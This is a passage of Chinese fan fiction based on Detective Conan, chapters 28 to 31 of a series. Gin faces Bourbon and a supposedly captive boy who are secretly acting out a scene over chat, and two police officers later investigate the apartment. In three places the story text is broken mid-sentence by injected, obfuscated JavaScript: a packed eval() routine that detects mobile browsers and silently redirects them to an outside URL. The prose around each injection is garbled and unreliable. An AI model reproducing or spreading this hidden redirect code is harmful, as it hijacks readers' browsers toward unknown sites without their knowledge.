“十三年前……”少年缓缓开口,却因为胸膛中翻涌着的澎湃情绪而哽住。 他停顿片刻,平复好情绪后,才用低哑的嗓音继续道:“十三年前,一个名叫牧山淳一的药企社长的私宅里,发生了一起意外的爆炸事故。这场事故导致牧山淳一和他的妻儿一家三口全部身亡,连同家里的金毛犬也未能幸免。” “事后,警方的调查结果显示爆炸的原因是燃气泄露,所有人都以为这是场意外,可只有牧山淳一的儿子知道,事情的真相并非如此。” “这分明是一场动机是灭口的蓄意谋杀!只因为牧山淳一与一个犯罪组织做了交易,只因为他听到了不该知道的秘密,就引来了这场灭门之祸!” “而你,就是杀人凶手!是那场爆炸案中,我亲眼目睹的真凶!” 说到这里,少年的情绪明显激动起来,他大口喘着气,过于纤细的身材在冰冷的白色灯光下显得单薄又无助。 金发男人忽然开口:“别太激动了宝贝儿,你身上的药效还没完全代谢掉呢,注意情绪。” 明明是在关心,语气却是冷漠的,让人听得背后发寒。 少年深吸一口气,抬起双手将脸埋了进去,像是在整理情绪,又更像是被男人的声音提醒了自己现在的处境,想要寻求短暂的逃避。 琴酒眉头轻挑。 听少年这意思,那个叫“牧山淳一”的人是他杀的。他快速回忆了一下这个名字,发现没有一丁点的印象。 不过也不奇怪,这种杀人灭口的脏活他做过的不计其数,而他从来不记死人的名字。 “所以呢,你打算复仇?”在少年沉默的间隙,琴酒嗤笑一声,轻蔑地开口,“怎么复仇,借助波本的力量吗?” 与魔鬼做交易,在得到好处之前先被吃吞入腹,跪在深渊中祈求着恶魔的“施舍”。 真是天真的孩子。 比起这个,琴酒更好奇一件事:“这么说,你是牧山淳一的儿子?” “你是怎么活下来的?” 他完全没有否认自己就是杀人凶手意思,哪怕他连牧山淳一是谁都想不起来。 是或不是又怎样呢,不过是这世上多了一个想杀死他的人而已。 “爆炸发生的时候,我藏在地下室。”少年放下双手,重新抬起头来,看向琴酒的目光依旧带着恨意,只是又多了几分麻木和冷静,“爆炸引起的火灾差点将我烧死——如果我没有被人救下的话。” 他的视线依旧钉在琴酒身上,可说到这儿时,不远处的金发男人忽然发出一声轻笑。 琴酒下意识看过去,只见金发男人立即微笑着说了句:“那是一场甜蜜的相遇。” 琴酒:“……” 恶心。 他像是迫不及待想向世界宣告他是如何发现可爱的猎物,然后一步一步将它占有的。 像只开屏的孔雀,喋喋不休地炫耀着自己的战绩,只顾自己洋洋得意,丝毫不管别人的不耐烦。 这幅样子真是令人看不惯。 琴酒实在忍不住,出声打断这只明显陷入“甜蜜回忆”的孔雀:“发现留有活口却不上报组织,波本,你是想背叛组织吗?” “失职的人明明是你吧,琴酒。”金发男人脸上甜蜜的表情眨眼间便收敛的一干二净,转变为阴冷,“执行任务的人是你,没有确认任务目标死亡就离开,这么大的疏忽,很难说你是不是故意的。难道不该由我质问你吗?” 琴酒不为所动,冷声反驳:“如果不是你多此一举,他一定会死在那里,我的任务也就不可能有失误。” “……” 金发男人似乎被噎得一时说不出话。 琴酒嘲讽地笑了一声:“呵,这就是你捉住的把柄?波本,你有点让我失望了。” 沉默片刻后,金发男人冷声开口:“就算没有我,他也有很大可能会逃出去。你要搞清楚,是我在帮你善后。” 不等琴酒再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657629|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,他立即打断:“算了,争论这些没有意义。现在的时间不属于我,宝贝儿,你继续。” 琴酒闻言,嗤笑一声不再开口,目光从金发男人身上收回,再次落在棕发少年身上。 后者自始至终从未打断两人的对话,安静而苍白的脸上挂着嘲弄的笑意,像是乐得看到两只疯狗互相攀咬的场面。 此时见银发杀手的注意力再次回到自己身上,少年吐出一口气,才开口:“琴酒是你的代号,对吗?” “我要杀了你,为我的父母报仇。” 琴酒直接笑出了声。 想杀他的人数不胜数,偷袭的、背后捅刀的、甚至直接冲过来开枪的他都见过,如此煞有介事地跑到他面前宣扬的人,还是第一个。 更何况是以这样一副可怜兮兮的模样,郑重其事地说出了那句话。 简直比闹剧还可笑。 “你准备拿什么杀我?”很久没见这么蠢的人了,琴酒竟然一时兴起想逗弄一下对方,“就凭你现在这副样子,你走得出我身后这扇门吗?” “他会帮我。”少年并不回头,只伸手指了下身后的人,“他答应过的。” 这下,琴酒真的忍不住对这个天真的少年,生出一丝怜悯了。 他现在甚至连对少年举枪的想法都没有。毕竟一个毫无威胁的东西,有什么值得在意的呢。 就当看个乐子罢了。 那少见的一丝怜悯很快被他抛之脑后。他的视线略过少年,直直投向少年身后的金发男人。 “他的时间结束了吗?我已经感到无聊了。”银发杀手唇角缓缓勾起,扯出一抹含着杀气的微笑,“我已经迫不及待想进入属于我们的时间了。” “……” 【傻狗波波:咦,他好gay哦。】 【牧山:别给我发消息!我快绷不住了!】 【牧山:啊啊啊啊啊啊救命啊!(脚趾疯狂扣地)】 【牧山:你快接戏!快接戏啊!】 【傻狗波波:不,你的时间还没结束!誓死守护我晓宝的戏权!】 【牧山:我不用你守护!】 金发男人沉默着,并未回应琴酒的话,而是意味深长地看向了棕发少年。 “你答应过我的。”少年冷静的声音忽然响起,惹得琴酒有些不耐烦,“我们做过交易的,你帮我杀了他,我给你你想要的东西。” “而且,你完全不必有任何顾虑,不是吗?等……事情结束之后,你不会受到任何影响。” 少年满含深意的话令琴酒心中的烦躁稍稍退去,他再次提起了一丝兴趣。 不用脑袋想也该知道,仅仅一个早就该是死人的普通少年,不可能引得两个组织代号成员斗死斗活。 他倒是好奇,波本跟这个少年到底达成了怎样的交易。究竟是什么样的筹码,会让少年误以为能够引诱波本和自己反目成仇呢? 以及少年说的最后一句话……只是单纯的他被波本骗了,还是别有深意? 与此同时,琴酒也相当期待波本的反应。他饶有兴致地看着金发男人上前几步,离开阴影的遮蔽,显露出脸上满是残忍和恶意的笑容。 那双紫灰色的眼眸中,流露出与银发杀手相似的兴味。 金发男人将手中的炸弹引爆器塞回黑色夹克外套的口袋,随后手腕一转摸向腰间,掏出一把枪。他在银发杀手的注视之下,堂而皇之地拎着枪走到少年身边,随后从茶几的抽屉里拿出一支消音器,慢悠悠地装在枪上。 下一秒,枪口直直地对准银发杀手的额头。 “地狱见吧,琴酒。” “噗”的一声,子弹穿过消音器从枪管飞驰而出。 29.烫男人是金发黑皮(二十九) 子弹迎面袭来,银发杀手巍然不动。神色镇定得仿佛他面对的不是子弹,而是一粒灰尘。 “咻”的一声尖啸,子弹从耳侧飞速擦过,带过的疾风撩起几缕银色的长发。 琴酒面不改色,毫不犹豫地举枪回击。“砰”的一声,子弹打进木质地板,掌心大小的弹洞冒出几丝黑烟。 金发男人心有余悸地收回腿。如果刚刚不是他反应快,现在被击中的就是他的脚了。 “哇,你也太小心眼了吧,看不出来我没瞄准你吗?”金发男人大声抱怨着,“你搞出这么大的动静,万一被邻居听到了怎么办?” 说完他眨了下眼,忽然想起一件事:“哦对,楼下的邻居好像搬走了。我记得楼下的小姐之前差点被炸弹炸成肉泥,从那以后就把房子退了。” “那没事了,我们继续。” 琴酒没管他的胡言乱语,冷哼一声,将对方的话还了回去:“看不出来我瞄准的只是你的腿吗?如果我真打算杀了你,没必要浪费这一颗子弹。” “真是好大的口气呢。”金发男人笑眯眯地说,身上凛冽的杀意瞬间收敛,“好吧好吧,不开玩笑了。宝贝儿,你的戏份结束了,接下来到我了……” 男人突然转变的态度令棕发少年惊怒不已,他不可置信地大喊:“你答应过我的!你明明答应帮我杀了他,怎么能反悔?!” “哎呀,别生气啊宝贝儿。”金发男人一脸头疼,好声相劝,“我不是跟你解释过了嘛,杀了琴酒会给我们惹来很大很大的麻烦,就算真的要动手,也必须得做好一个周全的计划。三个炸\弹而已,这么简单的手段怎么可能杀得了他嘛。” “你竟然骗我!”少年歇斯底里的怒吼着,“有什么杀不死的,他难道是怪物吗?直接引爆炸\弹就好了啊!把整栋楼都给炸烂,他还能往哪里逃?!” “可是这样的话,不止你我会丧命,整栋楼里的居民们都会跟我们陪葬哦。” “有什么关系?!” “真是狠心呐……”金发男人无奈地摇头,“可是不行哦,我还不想死,也更不想让你死。不然的话,你答应我的东西就无法兑现了呢。” “你……!”少年气极,突然用力扑到金发男人的身上,疯了般的要去抢男人口袋中的引爆器。 然而他削瘦的身躯哪有什么力气,刚扑上去,就被金发男人一把揽住臂膀,牢牢地禁锢在了怀里。 少年嘴里吐出一连串咒骂,虽然因为情绪激动而吐字含糊,听不清内容,但从愤恨的语气中不难听出骂得很脏。 【傻狗波波:哈哈哈哈哈哈!不然回头给你买一本脏话大全好了,你都在骂些什么东西啊笑死我了!】 【牧山:啊啊啊啊啊啊我跟你拼了!】 【傻狗波波:喂,不会真生气了吧?】 【牧山:你闭嘴啊啊啊啊!快说台词啊傻狗!!!】 【傻狗波波:懂了,你只是尴尬到快绷不住了。】 【牧山:闭嘴!说台词!!!】 金发男人忽然发出一阵爽朗的笑声,像是被在自己怀中不停挣扎的少年取悦到了似的。 他声音温柔,含着笑意说:“好了好了,宝贝儿该睡觉了,剩下的就交给我吧。” 说着,他一把抓住少年不断在空中乱踢的右腿,顺着小腿一路摸到脚腕,手指搭在那个显眼的黑色脚铐上。 【傻狗波波:晓宝!准备好晕了没?!】 【牧山:……】 明明心里迫不及待想早点结束自己的戏份,可真到这时候牧山晓又犹豫起来。 【牧山:你自己可以吗?】 【傻狗波波:放心,只要不比狙就问题不大,就算真打起来,在这个房间里我未必会吃亏。而且他也不会轻易对‘波本’动手,我们之前不是讨论过这点吗?】 【牧山:……行吧】 似乎察觉到威胁,棕发少年渐渐停止了挣扎的动作。 “不……不要……”他用微弱的声音求饶。 金发男人笑得无比温柔:“乖,安心睡吧。” 【傻狗波波:准备——三,二,一,晕!】 金发男人手指微动,下一瞬,少年的身体猛地一僵,整个人瘫软下来。 由于视线的遮挡,站在玄关处的琴酒没有看到,被金发男人牢牢抱在怀里的少年在晕过去的一瞬间,视线不由自主地飘向身前不远处地板上的弹洞,浅棕色的双眸中闪过一丝担忧。 确认少年陷入“昏迷”后,金发男人侧头,唇角带着笑意对琴酒解释:“能够放电的镣铐,电流不大,足够他好好睡上一觉。” “除了电击功能外,还有监听、追踪、警报等功能,我花了大价钱才搞来的,是不是很实用?” 琴酒没有回应他的问话,他生怕自己但凡搭上一句,对方会更加得意地滔滔不绝起自己的“圈养心得”。他对这种东西没有半点兴趣。 他沉默地看着金发男人将少年稳妥地放回沙发上,不耐烦地开口:“接下来可以谈正事了吧?” “你让我来这里的目的是什么,就为了给我看这个?”他说着,扬起下巴点了下躺在沙发上昏迷的少年。 等了好一会儿,没听到回答,琴酒不禁皱眉:“你到底想干什么?” 金发男人倏地回神,不好意思地笑笑:“啊,抱歉,刚刚看入迷了。” 琴酒:“……”恶心。 【牧山:变态!】 【傻狗波波:不是,你睫毛一直在抖你知道吗?我就想看看你什么时候才能发现。】 【牧山:???】 昏迷的少年不语,只一味地闭紧双眼。 【牧山:请你继续。】 琴酒一句话也不想再说了。他只想快点结束这场谈话,然后立刻离开这个恶心的地方。 好在金发男人没有继续沉迷于……他那奇怪的癖好中,主动开口:“我本来不想让任何人看到他的,他是独属于我一个人的宝物……” 男人的声音逐渐变得冷淡,从一个笑得令人背后发寒的变态疯子(?),渐渐恢复成了那副组织成员熟悉的波本的模样。 神秘、狡猾、残忍且无情。 “琴酒,我讨厌你觊觎我的东西,那会让我真的想杀了你。” 琴酒没忍住反驳:“我没有觊觎你的东西,我说过不止一次,我对你的私人爱好没有任何兴趣。” 这是污蔑! “可你要调查他。” “那是因为……算了,既然他是你的人,就看好他,别让他跟条子走得太近。” “我管得很严的,轻易不会让他出门。” 那他是怎么跟那几个警察认识的?! 琴酒感到心累,他跟波本说不通。 “……随便你怎么管,别惹麻烦。”琴酒懒得跟他争论了。但他忽然想起一件事,皱眉提醒道,“我回去会查一下组织的信息库,如果他说的话是真的……我会上报给boss,到时候他的处置结果需要由boss抉择。” 琴酒想了半天,最终认为今天这次会面应该是波本提出的一场“交易”。 按照那个男孩的说法,他跟波本认识是十三年前,那么被波本囚禁应该不是短时间内的事,说不定也有很多年了。这么久的时间里,波本都把人藏得好好的,也没有对外界表现出任何异样。足以说明他是能够控制自己的,至少之前是。 至于最近为什么会突然变得疯癫……说不定是因为担心小情人某天被组织发现,被强制灭口。与其整日提心吊胆,不如趁这次小情人被注意到的机会,干脆坦白。 琴酒猜测,波本说不定打着与自己“合谋”的主意。自己不上报男孩的存在,波本不举报自己的任务失职。 可惜,波本想错了。既然是自己的失职,他甘愿承担后果。 这件事必须上报boss,即便b ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663649|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' oss惩罚他,那也是他应得的。 至于上报之后,波本的小情人是否能留住性命……那就不是琴酒能够左右的了。 当然,他也不在乎这点。 果然,一提起这个,波本就应激似的面色忽地冷沉下去。 “看,这就是问题所在。只要他引起了你的注意,你们迟早会发现他。可他是我的东西!我掌控着他的一切,有关他的所有事都应该由我来决定!” 琴酒眯起眼,隐隐意识到什么:“那么,你准备怎么处理这个十三年前就该死的人呢?” “他应该待在我身边,完完全全地由我掌控。他的灵魂、他的心跳、他身上的每一滴血都属于我。我要把他关起来,让别人永远看不到他,让他眼中只有我的身影、心里只有我的存在……” 金发男人语气郑重,却字字透露出内心压抑不住的疯狂和偏执。 “我不允许他离开我,他的灵魂上刻着我的名字,他将永远无法摆脱我——” “直到我们共赴地狱。” “……” 长久的静默在室内蔓延。 【傻狗波波:我身上要起鸡皮疙瘩了。】 【牧山:谁让你非要说从网上搜来的台词!给我挺住!记住你是专业coser!】 【傻狗波波:……我看到你的手指在抖,你是不是在憋笑。】 【牧山:你别管,演你的!】 一片令人尴尬的死寂之中,伯\莱\塔被缓缓它的主人举起。 琴酒忍无可忍地说:“不如我现在就送你们去地狱。” 没救了,彻底没救了。波本显然病得不轻,他不允许波本带着这样的脑子回到组织。 被枪指着的男人却神色镇定,丝毫察觉不到银发杀手内心的震动。他微笑着侧头,那双紫灰色的下垂眼被偏执和黏腻潮湿的阴暗填满。 他举起刚刚从口袋里拿出的引爆器,微笑着说:“可以啊,我们一起。” “友情提醒,这三个炸弹不止有遥控装置,还有定时装置哦。就算把引爆器毁了也没用,除非你能在五分钟内找出它们所有的位置,并全部拆除。” 疯了,彻底疯了。 琴酒头疼得要死。 他现在彻底明白了波本的用意。明明控制欲强到变态的男人却舍得将自己的“宝物”展示在他的面前,根本不是为了什么“交易”,而是在警告他: 看,这就是我的开关,我的引爆器。一旦你碰了他,我就会立刻不顾一切地拉你们所有人都陪葬! 能真正炸死琴酒的,也根本不是公寓楼里的这三颗位置不明的炸\弹,而是波本这个活生生的人。 一个人,尤其像波本这样的人,能做的远比炸\弹要多。 这不是琴酒第一次有对自己人开枪的冲动。却是他第一次投鼠忌器,不敢开出这一枪。 随着时间一分一秒的流逝,银发杀手的表情越来越难看,室内也再次陷入死一般的寂静之中。 直到突兀响起的门铃声打断了两人无声的对峙。 银发杀手立即转身看向门口。 的确是这间公寓的门铃在响。 琴酒转头与金发男人对视一眼后,一言不发地点开了可视门铃的监视器。紧接着,他就看到那巴掌大的监视器上,出现了一张有些眼熟的脸。 身材高大、寸头、眉毛粗犷,身穿便服,一身特别的气质却无声地彰显着他的职业。 很快,琴酒在脑海中搜索到了有关这张脸的记忆:“是那个警察?他知道你的住址?” 金发男人眉头紧皱:“不,他不应该知道。” 门铃停了又响,门外的人似乎笃定屋内有人,执着地不肯离开。 琴酒挑眉:“他只有一个人,要开门吗?” 金发男人嘴角紧抿,一双下垂的紫灰色眼眸中闪过一丝凌厉的杀意。 “开吧。”他说,“你来开。” 30.烫男人是金发黑皮(三十) 开门的人是琴酒。 金发男人在发现门外的人是警察后扭头就走,嘴里自言自语着要把他的“宝贝儿”藏起来。 琴酒:“……”行吧,不跟一个疯子计较。 他随便扯了个东西盖住地板上的弹洞,关上客厅的灯,等波本抱起他的小情人走进卧室后,这才一边脱下大衣一边去开门。 “谁?” 门只被拉开了一条缝,室内一片昏暗,将开门人的样貌藏进阴影中。 但从那高大的轮廓和低沉的声音中不难分辨出,是一个个子很高的成年男性。 门刚被打开,伊达航的身体就条件反射地紧绷起来,多年的刑警职业经验使他在大脑做出判断之前,潜意识就发出警告。 是个很可疑的男人。 牧山晓就跟这样的人住在一起吗? 伊达航压下心中的猜疑,一脸严肃地拿出警察证件:“您好,我是东京都警视厅刑事部搜查一课的刑警伊达航,我们接到报警,说听到从您的公寓里传出异响。请问介意我们进来查看一下吗?” 报警人是住在楼下的一位女士——值得一提的是,伊达航对这位女士不久前的遭遇印象深刻,不仅因为他参与过那个炸弹犯的后续审讯工作,更是因为负责拆弹的松田阵平在与他闲聊时,曾提起过这位女士的冷静和聪慧。 伊达航还听到过同事八卦说,在炸弹犯落网后,这位女士原本想搬离这间公寓的,后来在打听了其他几处可租住的公寓后,却放弃了这个想法。 “问了好几个公寓,不是曾经发生过杀人案件就是曾经发生过爆炸案。最后觉得搬到哪里都不太安全,所以还是留在这儿吧。”当时那位女士十分幽怨地跟帮她做笔录的警察闲聊着,“至少现在我对这栋大楼很熟悉,也知道如果再遇到意外的话该怎么有效逃生了。” 谁能想到,炸弹案刚过去没多久,正熬夜追剧的她突然听到从楼上传来了枪声…… 她很有经验地直接报了警。 而接到出警任务的伊达航在发现出警地点是牧山晓的住址后,忍不住担心起来。 报警人说,她听到了“枪声”。 他来不及与牧山晓联系,就匆忙赶了过来。敲开门进行问询时,为了避免激起嫌疑人的抵触反应,他也没有第一时间点明异响是“枪声”这件事。 “他听错了。”门内的男人毫不犹豫地否认,“我这里什么事都没有,你找错人了。” 说完,不等伊达航回应,男人就要关门。 这个反应也太可疑了! 伊达航眼疾手快地将手中的警察证件塞进门缝,阻止了男人关门的动作。 “等等,先生,介意我问几个问题吗?” “介意,我要睡觉了。” “如果您不配合的话……”伊达航不得不沉下声音,严肃警告,“出于对您疑似持有违禁武器的怀疑,我有权利申请搜查令,对您的公寓进行强制搜查。” “……” 伊达航用力攥着自己被牢牢夹在门缝中的警官证,抵在门板上的半边身子暗暗发力,试图将门挤开。 然而门后的男人力气大得惊人,伊达航习以为常的怪力在此时竟然起不到半分作用。 好在,无声的对峙没有持续太久。没过多久,伊达航忽然感觉施加在身上的力道一松,紧接着门被敞开了一半。 他连忙稳住身形,收回差点掉落的警官证。 “你问。”男人的声音很冷,却镇定从容,与伊达航常见的那些犯罪嫌疑人不同。 他脸上没有惊慌和无措,就好像他拒绝警察的询问,只是因为被打扰休息而感到不耐,而不是在隐藏什么见不得人的事。 这会儿看起来好像又没那么可疑了。 与此同时,伊达航也终于借助走廊的灯光看清了男人的长相。是少见的银色长发,皮肤苍白,棱角鲜明的脸凸显出几分混血的味道,狭长的双眼微微眯起,冷绿色的双眸中流露出不耐烦的神色。 他上半身穿着一件黑色衬衫,领口微微敞开,下半身埋在阴影中。伊达航目光快速扫视,在男人身后的鞋柜上看见了一件黑色大衣和一顶帽子——看起来像是主人进门时随手搭在上面的。 似乎是个外国人,但日语很好,听不出一丁点的口音。别的看不出什么异样。 ……又是个外国人? 伊达航掩下心绪,问了几个常规的问题: “您家里有几个人?” “……两个。” “一个小时之内在做什么?” “看电视。” “这期间有发生什么特别的事吗?” “没有。” “报警人说他听到您的公寓内传出了枪声,请问您有听到什么吗?” 这时,男人身后传出了细微的动静,引得他转头看了一眼。随后他转回头,轻笑了一声:“枪声没听到,但是,刚才开香槟的时候不小心洒了一地……警官先生要进来看看吗?” 香槟吗?如果开启的方式不当,的确可能会发出跟枪声类似的声响。 但想起报警的那位女士信誓旦旦的说辞,伊达航仍存有怀疑。 男人既然敢邀请伊达航进去,就证明他有把握让伊达航看到他想让他看的。尽管如此,伊达航还是毫不客气地答应了。 “好,那就打扰了。” 银发男人眉头微挑,后撤一步,打开了门。 与此同时,玄关处的灯“唰”地亮起。 “咦,伊达警官?” 一只脚尚未踏进公寓内,突然响起的声音就令伊达航动作一顿。他立刻抬头,满脸惊讶:“牧山?” 只见客厅与玄关的交界处,一位熟悉的少年正安静地站在那里。他左手放在开关上,右手轻轻揉着眼睛,一副睡眼朦胧的样子。此时,他也一脸惊讶地看着正欲进门的伊达航。 “伊达警官,你怎么会在这儿?” 见到牧山晓处境安全,伊达航紧绷的情绪瞬间放松了不少。他脸上不自觉地流露出几分笑意:“我接到报警电话,说听到从这间公寓里传出枪声……牧山,你今晚一直在家吗?” “对,我一直在的,不过我很早就睡了。”少年微笑着回答。 他的声音低哑,浅棕色的双眸晕着朦胧的水汽,的确是一副正在睡梦中被吵醒的模样。 不过伊达航很快注意到,少年身上穿着过于宽大的衣服,宽松的裤脚在脚腕处堆叠,本就有几分清瘦的脸颊在白色灯光的照射下更显出几分苍白。 这副样子,与他见到这孩子的第一面时的样子倒是很像。 伊达航仔细观察着男孩身上的衣服,又看了眼双手插在裤子口袋里,姿势懒散地站在身侧的银发男人,心中默默做出判断。 应该不是这个男人的衣服,无论风格还是型号,看起来都不太搭。 听说现在的年轻人都流行宽松的衣服款式,难不成真的只是牧山晓的个人穿衣喜好? 伊达航不动声色地扫视起公寓内他能看到的所有场景,一时没发现什么异样。 就连银发男人提到的那瓶洒了的香槟,都安静地躺在他视线之内的地板上。 少年的声音再次响起:“伊达警官,应该是误会吧,我没听到什么枪声,倒是被开香槟的声音吓了一跳。” 他再次强调香槟,倒让原本就心存怀疑的伊达航听出几分刻意。 不过他没再要求进去查看,因为他忽然注意到一件事。 自从他见到牧山晓之后,少年就一直站在原地,即没有见到熟人后下意识走过来的反应,也没有跟他的“同居人”有过任何形式的交流。 他甚至没有往银发男人那边看过一眼。 是因为两人关系不好,还是别有内情?银发男人究竟是什么身份,跟少年又是什么关系? 一系列的问题在伊达航脑海中闪过。之前从萩原和松田那里获得的关于少年的信息,又不由自主地浮现出来。 有着被害妄想症的朋友,在自己住的地方放监听器,还都是市面上买不到的违禁品…… 伊达航的视线再次落在银发男人的身上。 男人只是姿势懒散地站着,表情看似平静,微微蹙起的眉头却彰显出他的内心的躁动和不耐。他看起来像是很想立刻轰他离开,但因为某些原因勉强忍住了。 是因为自己的领地被陌生人入侵而感到烦躁吗? 如果这人真的有被害妄想症的话,那么对警察的过分警惕、之前的不配合以及现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672224|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的反应就都能得到解释了。 即便如此,牧山晓跟这样的人住在一起,还是令人无法放心。 “伊达警官,既然枪声的事是个误会,那请问还有别的事吗?” 少年在委婉地赶人,伊达航自然听出来了。 他似乎也没有继续留下来的必要。接到报案后立刻出警,主要是为了确保这里没有发生打斗事件或人员伤亡。如今看起来这间公寓内一切平静,就算伊达航怀疑公寓内真的有枪,只要他没有证据,就没有理由申请搜查令。 至少现在确认了牧山晓是安全的。 尽管仍旧心存疑虑,但伊达航也只能暂时离开。 他向两人告辞,前脚刚退出门外,“啪”的一声,门就被甩上了。 伊达航摸摸鼻子,转身下楼。 按照搜查一课的人员配置,这类警情正常需要两个警察一起赶往现场查看情况。只是今晚搜查一课人手紧缺,刚好又碰到下班了的萩原研二过来“串门”,接到出警任务后在后者的强烈要求下,伊达航不得已把这人也带上了。 伊达航刚钻进自己的车,就迎来了萩原研二一连串的问询。伊达航大致将自己看到的讲了出来。 讲着讲着,他忽然觉得有哪里不对,总感觉忽略了什么。 突然灵光一闪,他终于通过记忆中的画面回想起异常之处! “不对,鞋子的数量不对!”伊达航后知后觉地反应过来,“那个银发男人,我看到他穿着鞋,就以为他是穿上鞋之后过来开门的。但是我刚刚才回想起来,玄关处明明还摆着另一双男士皮鞋,而且鞋的型号显然不是牧山的!” 正常来说,同一个人不太会在门口摆两双外出的鞋,不穿的鞋一般都会放进鞋柜。 也就是说,公寓内很可能还有一个男人! 萩原研二气急败坏:“这么重要的线索你怎么现在才想起来?!” 伊达航有些内疚,因为当时牧山晓突然出现,他急于确认少年的安危,完全被少年吸引了注意力。 萩原研二用力推伊达航的肩膀:“走走走,现在上去说不定还来得及,我跟你一起!” 一定要搞清楚那个多出来的男人是谁,万一小牧山有危险怎么办?! 两人说着,正准备推门下车。忽然萩原研二的动作一顿,接着猛地扯了伊达航一把,将后者开门的胳膊扯了回来。 “怎么了?”伊达航迷茫地问。 他转头一看,只见萩原研二的视线投向车窗外,紧紧盯着公寓楼大门的方向,低声问道:“你说的银发男人,是不是那个家伙?” 伊达航愣了一下,连忙顺着萩原研二的视线看过去,就发现自己刚刚才见过的银发男人此时从公寓楼内走了出来。 男人已经穿上了黑色大衣外套,戴上了那个款式老旧的帽子。尽管大衣的衣领将他的脸遮得严严实实,可那一头长长的银色头发,总不会让人错认。 “是他。”伊达航眉头紧皱,“这么晚了,他要去哪里?” 萩原研二有个大胆的想法:“要不要偷偷跟上去看看?” “这不太好吧?” “你不觉得他身上有犯罪分子的气质吗?我们身为警察见到可疑的人,偷偷观察一下很合理吧?” “虽然他看起来的确像,但是……等等,怎么又出来一个人?” 只见在银发男人离开公寓后不久,另一个人影也跟着从公寓楼内走了出来。 两人前后相差的时间不超过一分钟。 伊达航满脸震惊地盯着后一个人的身影,说话都险些结巴了:“ha……hagi ,那个人……你觉不觉得有点眼熟?” 公寓楼下的路灯并不明亮,可对方那一头金灿灿的头发却实在引人注目。 这道身影,伊达航再熟悉不过,毕竟不久之前才见过一次。 他不敢置信地低喃:“该不会……真的是他吧?” 尚处在惊讶中的他没有注意到,身旁的萩原研二脸上变幻莫测的表情。 他更不知道,萩原研二死死盯着金发男人身上的黑色皮夹克外套,紫色的双眸中缓缓燃烧起怒火。 “好你个……小降谷。”萩原研二咬牙切齿地说,“降谷零,你可真行啊。” 31.烫男人是金发黑皮(三十一) 伊达航和萩原研二就到底谁是牧山晓的“同居人”这个问题,展开了激烈的讨论。 “我觉得是那个长头发的男人吧,他开门时候的状态很自然,自然到给我感觉他就应该住在那里。”伊达航发表观点。 “可是只要心理素质够好,这种状态是可以演出来的吧。我觉得是zero哎。”萩原研二进行反驳,并提出自己发现的关键性证据,“zero身上那件黑色的皮夹克外套,我上次去小牧山的公寓时见到过。” 还亲手拿下来披在了小牧山的肩上。 一想到这点,萩原研二的表情就变得一言难尽。 顺便一提,为了保护某个金发同期的身份,他们刚刚约好,在提起对方时只称呼代号,哪怕只是私下提起也是如此。 “这样吗……的确是个很有力的证据。”伊达航右手拄着下巴沉思起来。 热腾腾的白雾从桌子中间的锅里缓缓上升,三个下了班的男人又一次聚在一起,并且难得精致一回,动手煮了一锅寿喜烧。 锅里咕嘟咕嘟冒着泡,此时伊达航和萩原研二正在激烈讨论中,只有松田阵平一个人忙着将食物从锅里往外捞。 伊达航分析了一会儿,又提出了自己的另一个论据:“不过那辆保时捷也很可疑。你还记得吗?那个长发男人离开公寓的时候,坐进了一辆黑色保时捷。” 随着他的话,萩原研二不禁回忆起昨晚的场景。 银色长发男人和金发男人相继从公寓楼内走出来后,前者打开了一辆停在路边的黑色保时捷356A的车门,而后者紧跟上去,隔着车窗跟前者说了几句话后,就转身钻进了不远处一辆白色马自达的驾驶座。 随后,两辆车一前一后离开。 当时的伊达航和萩原研二在震惊中对视一眼,一句话都没有说,思想却默契的达成了一致。 他们打算偷偷跟上去,看看那两个人准备去哪儿。 好在今天开的是伊达航的私人车辆,不是警车,不然恐怕那两个男人刚一下楼就会注意到他们。 可的是才刚启动,还在执勤期间的伊达航突然接到一通后辈打来的电话,打断了他们的跟踪计划。 伊达航需要立刻赶往案发现场,案件紧急,他只能将车开走。被留下的萩原研二在路边好不容易打到一辆出租车的时候,那两个该死的男人早就跑得不见人影了。 “可恶!小降谷啊小降谷,你最好别落到我手里!”萩原研二坐上出租车,离开之前,发出了这样的感叹。 回忆结束。 银色长发男人开的那辆黑色保时捷,萩原研二当时看得一清二楚,就连车牌号都记下了。他确定,这辆车就是那天跟小牧山聚餐时,出现在居酒屋窗外的那辆。 虽然当时他喝得有些醉了,但小牧山看到这辆车时的反应,他还记忆犹新。 少年浅棕色的眸子里先是闪过震惊,好像看到了什么令他不敢置信的东西。紧接着涌现出的是惊慌,像是在为即将会发生的事而无措和不安。 他在害怕什么呢? 